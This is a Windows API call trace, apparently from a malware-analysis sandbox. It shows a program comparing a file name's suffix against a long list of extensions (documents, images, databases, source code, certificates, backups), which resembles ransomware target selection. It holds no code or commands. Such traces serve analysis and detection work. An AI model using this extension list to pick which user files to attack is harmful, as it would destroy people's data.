	[0062.800] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".7z") returned 3
	[0062.800] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.800] lstrlenW (lpString=".accda") returned 6
	[0062.800] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".accdb") returned 6
	[0062.800] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".accdc") returned 6
	[0062.800] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".accde") returned 6
	[0062.800] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".accdt") returned 6
	[0062.800] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".accdw") returned 6
	[0062.800] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.800] lstrlenW (lpString=".adb") returned 4
	[0062.800] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".adp") returned 4
	[0062.800] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai") returned 3
	[0062.800] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai3") returned 4
	[0062.800] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai4") returned 4
	[0062.800] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai5") returned 4
	[0062.800] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai6") returned 4
	[0062.800] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".ai7") returned 4
	[0062.801] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".ai8") returned 4
	[0062.801] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".anim") returned 5
	[0062.801] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.801] lstrlenW (lpString=".arw") returned 4
	[0062.801] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".as") returned 3
	[0062.801] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.801] lstrlenW (lpString=".asa") returned 4
	[0062.801] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".asc") returned 4
	[0062.801] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".ascx") returned 5
	[0062.801] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.801] lstrlenW (lpString=".asm") returned 4
	[0062.801] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".asmx") returned 5
	[0062.801] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.801] lstrlenW (lpString=".asp") returned 4
	[0062.801] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".aspx") returned 5
	[0062.801] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.801] lstrlenW (lpString=".asr") returned 4
	[0062.801] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".asx") returned 4
	[0062.801] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".avi") returned 4
	[0062.801] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".avs") returned 4
	[0062.801] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.801] lstrlenW (lpString=".backup") returned 7
	[0062.801] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.801] lstrlenW (lpString=".bak") returned 4
	[0062.802] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".bay") returned 4
	[0062.802] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".bd") returned 3
	[0062.802] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.802] lstrlenW (lpString=".bin") returned 4
	[0062.802] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".bmp") returned 4
	[0062.802] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".bz2") returned 4
	[0062.802] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".c") returned 2
	[0062.802] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.802] lstrlenW (lpString=".cdr") returned 4
	[0062.802] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".cer") returned 4
	[0062.802] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".cf") returned 3
	[0062.802] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.802] lstrlenW (lpString=".cfc") returned 4
	[0062.802] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".cfm") returned 4
	[0062.802] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".cfml") returned 5
	[0062.802] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.802] lstrlenW (lpString=".cfu") returned 4
	[0062.802] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".chm") returned 4
	[0062.802] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".cin") returned 4
	[0062.802] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.802] lstrlenW (lpString=".class") returned 6
	[0062.802] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.802] lstrlenW (lpString=".clx") returned 4
	[0062.803] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".config") returned 7
	[0062.803] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.803] lstrlenW (lpString=".cpp") returned 4
	[0062.803] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".cr2") returned 4
	[0062.803] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".crt") returned 4
	[0062.803] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".crw") returned 4
	[0062.803] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".cs") returned 3
	[0062.803] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.803] lstrlenW (lpString=".css") returned 4
	[0062.803] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".csv") returned 4
	[0062.803] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".cub") returned 4
	[0062.803] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dae") returned 4
	[0062.803] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dat") returned 4
	[0062.803] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".db") returned 3
	[0062.803] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.803] lstrlenW (lpString=".dbf") returned 4
	[0062.803] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dbx") returned 4
	[0062.803] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dc3") returned 4
	[0062.803] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dcm") returned 4
	[0062.803] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.803] lstrlenW (lpString=".dcr") returned 4
	[0062.803] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".der") returned 4
	[0062.804] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dib") returned 4
	[0062.804] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dic") returned 4
	[0062.804] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dif") returned 4
	[0062.804] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".divx") returned 5
	[0062.804] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".djvu") returned 5
	[0062.804] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".dng") returned 4
	[0062.804] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".doc") returned 4
	[0062.804] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".docm") returned 5
	[0062.804] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".docx") returned 5
	[0062.804] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".dot") returned 4
	[0062.804] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dotm") returned 5
	[0062.804] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".dotx") returned 5
	[0062.804] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.804] lstrlenW (lpString=".dpx") returned 4
	[0062.804] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dqy") returned 4
	[0062.804] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dsn") returned 4
	[0062.804] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.804] lstrlenW (lpString=".dt") returned 3
	[0062.804] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.805] lstrlenW (lpString=".dtd") returned 4
	[0062.805] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".dwg") returned 4
	[0062.805] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".dwt") returned 4
	[0062.805] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".dx") returned 3
	[0062.805] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.805] lstrlenW (lpString=".dxf") returned 4
	[0062.805] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".edml") returned 5
	[0062.805] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.805] lstrlenW (lpString=".efd") returned 4
	[0062.805] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".elf") returned 4
	[0062.805] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".emf") returned 4
	[0062.805] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".emz") returned 4
	[0062.805] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".epf") returned 4
	[0062.805] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".eps") returned 4
	[0062.805] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".epsf") returned 5
	[0062.805] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.805] lstrlenW (lpString=".epsp") returned 5
	[0062.805] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.805] lstrlenW (lpString=".erf") returned 4
	[0062.805] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".exr") returned 4
	[0062.805] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".f4v") returned 4
	[0062.805] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.805] lstrlenW (lpString=".fido") returned 5
	[0062.806] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.806] lstrlenW (lpString=".flm") returned 4
	[0062.806] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".flv") returned 4
	[0062.806] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".frm") returned 4
	[0062.806] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".fxg") returned 4
	[0062.806] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".geo") returned 4
	[0062.806] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".gif") returned 4
	[0062.806] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".grs") returned 4
	[0062.806] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".gz") returned 3
	[0062.806] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.806] lstrlenW (lpString=".h") returned 2
	[0062.806] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.806] lstrlenW (lpString=".hdr") returned 4
	[0062.806] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".hpp") returned 4
	[0062.806] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".hta") returned 4
	[0062.806] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".htc") returned 4
	[0062.806] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".htm") returned 4
	[0062.806] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".html") returned 5
	[0062.806] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.806] lstrlenW (lpString=".icb") returned 4
	[0062.806] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.806] lstrlenW (lpString=".ics") returned 4
	[0062.807] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".iff") returned 4
	[0062.807] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".inc") returned 4
	[0062.807] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".indd") returned 5
	[0062.807] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.807] lstrlenW (lpString=".ini") returned 4
	[0062.807] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".iqy") returned 4
	[0062.807] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".j2c") returned 4
	[0062.807] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".j2k") returned 4
	[0062.807] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".java") returned 5
	[0062.807] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.807] lstrlenW (lpString=".jp2") returned 4
	[0062.807] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpc") returned 4
	[0062.807] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpe") returned 4
	[0062.807] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpeg") returned 5
	[0062.807] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpf") returned 4
	[0062.807] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpg") returned 4
	[0062.807] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".jpx") returned 4
	[0062.807] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.807] lstrlenW (lpString=".js") returned 3
	[0062.807] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.807] lstrlenW (lpString=".jsf") returned 4
	[0062.808] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".json") returned 5
	[0062.808] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.808] lstrlenW (lpString=".jsp") returned 4
	[0062.808] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".kdc") returned 4
	[0062.808] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".kmz") returned 4
	[0062.808] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".kwm") returned 4
	[0062.808] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".lasso") returned 6
	[0062.808] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.808] lstrlenW (lpString=".lbi") returned 4
	[0062.808] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".lgf") returned 4
	[0062.808] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".lgp") returned 4
	[0062.808] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".log") returned 4
	[0062.808] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".m1v") returned 4
	[0062.808] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".m4a") returned 4
	[0062.808] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".m4v") returned 4
	[0062.808] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".max") returned 4
	[0062.808] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".md") returned 3
	[0062.808] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.808] lstrlenW (lpString=".mda") returned 4
	[0062.808] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.808] lstrlenW (lpString=".mdb") returned 4
	[0062.809] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mde") returned 4
	[0062.809] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mdf") returned 4
	[0062.809] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mdw") returned 4
	[0062.809] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mef") returned 4
	[0062.809] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mft") returned 4
	[0062.809] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mfw") returned 4
	[0062.809] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mht") returned 4
	[0062.809] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mhtml") returned 6
	[0062.809] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.809] lstrlenW (lpString=".mka") returned 4
	[0062.809] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mkidx") returned 6
	[0062.809] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.809] lstrlenW (lpString=".mkv") returned 4
	[0062.809] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mos") returned 4
	[0062.809] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mov") returned 4
	[0062.809] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mp3") returned 4
	[0062.809] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mp4") returned 4
	[0062.809] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.809] lstrlenW (lpString=".mpeg") returned 5
	[0062.809] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.809] lstrlenW (lpString=".mpg") returned 4
	[0062.809] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".mpv") returned 4
	[0062.810] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".mrw") returned 4
	[0062.810] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".msg") returned 4
	[0062.810] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".mxl") returned 4
	[0062.810] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".myd") returned 4
	[0062.810] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".myi") returned 4
	[0062.810] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".nef") returned 4
	[0062.810] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".nrw") returned 4
	[0062.810] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".obj") returned 4
	[0062.810] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".odb") returned 4
	[0062.810] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".odc") returned 4
	[0062.810] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".odm") returned 4
	[0062.810] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".odp") returned 4
	[0062.810] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".ods") returned 4
	[0062.810] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".oft") returned 4
	[0062.810] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".one") returned 4
	[0062.810] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.810] lstrlenW (lpString=".onepkg") returned 7
	[0062.810] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.811] lstrlenW (lpString=".onetoc2") returned 8
	[0062.811] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.811] lstrlenW (lpString=".opt") returned 4
	[0062.811] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".oqy") returned 4
	[0062.811] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".orf") returned 4
	[0062.811] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".p12") returned 4
	[0062.811] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".p7b") returned 4
	[0062.811] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".p7c") returned 4
	[0062.811] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pam") returned 4
	[0062.811] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pbm") returned 4
	[0062.811] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pct") returned 4
	[0062.811] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pcx") returned 4
	[0062.811] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pdd") returned 4
	[0062.811] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pdf") returned 4
	[0062.811] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pdp") returned 4
	[0062.811] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pef") returned 4
	[0062.811] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pem") returned 4
	[0062.811] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pff") returned 4
	[0062.811] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.811] lstrlenW (lpString=".pfm") returned 4
	[0062.812] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".pfx") returned 4
	[0062.812] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".pgm") returned 4
	[0062.812] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".php") returned 4
	[0062.812] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".php3") returned 5
	[0062.812] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.812] lstrlenW (lpString=".php4") returned 5
	[0062.812] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.812] lstrlenW (lpString=".php5") returned 5
	[0062.812] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.812] lstrlenW (lpString=".phtml") returned 6
	[0062.812] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.812] lstrlenW (lpString=".pict") returned 5
	[0062.812] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.812] lstrlenW (lpString=".pl") returned 3
	[0062.812] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.812] lstrlenW (lpString=".pls") returned 4
	[0062.812] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".pm") returned 3
	[0062.812] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.812] lstrlenW (lpString=".png") returned 4
	[0062.812] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".pnm") returned 4
	[0062.812] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".pot") returned 4
	[0062.812] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.812] lstrlenW (lpString=".potm") returned 5
	[0062.812] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.812] lstrlenW (lpString=".potx") returned 5
	[0062.812] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
